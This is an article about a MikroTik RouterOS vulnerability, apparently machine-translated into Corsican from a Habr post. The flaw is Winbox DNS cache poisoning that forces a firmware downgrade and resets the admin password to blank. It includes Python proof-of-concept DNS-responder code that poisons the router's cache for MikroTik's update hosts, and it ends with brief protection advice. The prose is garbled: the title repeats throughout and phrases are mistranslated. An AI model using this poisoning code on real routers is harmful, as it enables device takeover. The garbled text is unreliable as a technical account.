A vulnerabilità di Backport in RouterOS minaccia centinaie di migliaia di dispusitivi

A vulnerabilità di Backport in RouterOS minaccia centinaie di migliaia di dispusitivi

A capacità di downgrade remotely i dispusitivi basatu nantu RouterOS (Mikrotik) mette centinaie di millaie di dispusitivi reta à risicu. A vulnerabilità hè assuciata à l'avvelenamentu di u cache DNS di u protokollu Winbox è vi permette di carricà u firmware obsoletu (cun ​​​​un resettore di password predeterminatu) o modificatu nantu à u dispusitivu.

A vulnerabilità di Backport in RouterOS minaccia centinaie di migliaia di dispusitivi

Dettagli di vulnerabilità

U terminal RouterOS sustene u cumandamentu di risoluzione per a ricerca DNS.

A vulnerabilità di Backport in RouterOS minaccia centinaie di migliaia di dispusitivi

Questa dumanda hè trattata da un binariu chjamatu resolver. Resolver hè unu di parechji binari chì cunnette à u protocolu Winbox di RouterOS. À un altu livellu, "missaghji" mandati à u portu Winbox pò esse instradati à parechji binari in RouterOS basatu nantu à un schema di numerazione basatu in array.

Per automaticamente, RouterOS hà a funzione di u servitore DNS disattivata.

A vulnerabilità di Backport in RouterOS minaccia centinaie di migliaia di dispusitivi

Tuttavia, ancu quandu a funzione di u servitore hè disattivata, u router mantene a so propria cache DNS.

A vulnerabilità di Backport in RouterOS minaccia centinaie di migliaia di dispusitivi

Quandu facemu una dumanda cù winbox_dns_request per esempiu example.com, u router cacherà u risultatu.

A vulnerabilità di Backport in RouterOS minaccia centinaie di migliaia di dispusitivi

Siccomu pudemu specificà u servitore DNS à traversu quale a dumanda deve andà, inserisce indirizzi sbagliati hè triviale. Per esempiu, pudete cunfigurà una implementazione di u servitore DNS da Filippu Klausper risponde sempre cù un registru A chì cuntene l'indirizzu IP 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Avà se cercate example.com cù Winbox, pudete vede chì a cache DNS di u router hè avvelenata.

A vulnerabilità di Backport in RouterOS minaccia centinaie di migliaia di dispusitivi

Di sicuru, l'avvelenamentu example.com ùn hè micca assai utile postu chì u router ùn l'utilizarà micca. Tuttavia, u router hà bisognu à accede à upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com è download.mikrotik.com. È grazia à un altru sbagliu, hè pussibule avvilenu tutti in una volta.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

U router richiede un permessu, è cuncedemu cinque di ritornu. U router ùn cache micca tutte queste risposte currettamente.

A vulnerabilità di Backport in RouterOS minaccia centinaie di migliaia di dispusitivi

Ovviamente, questu attaccu hè ancu utile se u router agisce cum'è un servitore DNS, postu chì permette à i clienti di u router per esse attaccati.

Questu attaccu permette ancu di sfruttà una vulnerabilità più seria: downgrade o backport a versione di RouterOS. L'attaccante ricree a logica di u servitore di l'aghjurnamentu, cumpresu u changelog, è forze RouterOS per perceive a versione antica (vulnerabile) cum'è attuale. U periculu quì si trova in u fattu chì quandu a versione hè "aghjurnata", a password di l'amministratore hè resettata à u valore predeterminatu - un attaccante pò accede à u sistema cù una password viota!


L'attaccu hè abbastanza travagliu, malgradu u fattu chì autore implementa parechji vettori più, cumpresi quelli ligati à incrustà una backdoor in u firmware, Ma questu hè digià una tecnica redundante è u so usu per scopi illegittimi hè illegale.

prutezzione

Basta disattivà Winbox vi permette di prutezzione di sti attacchi. Malgradu a cunvenzione di l'amministrazione via Winbox, hè megliu aduprà u protocolu SSH.

Source: www.habr.com

Add a comment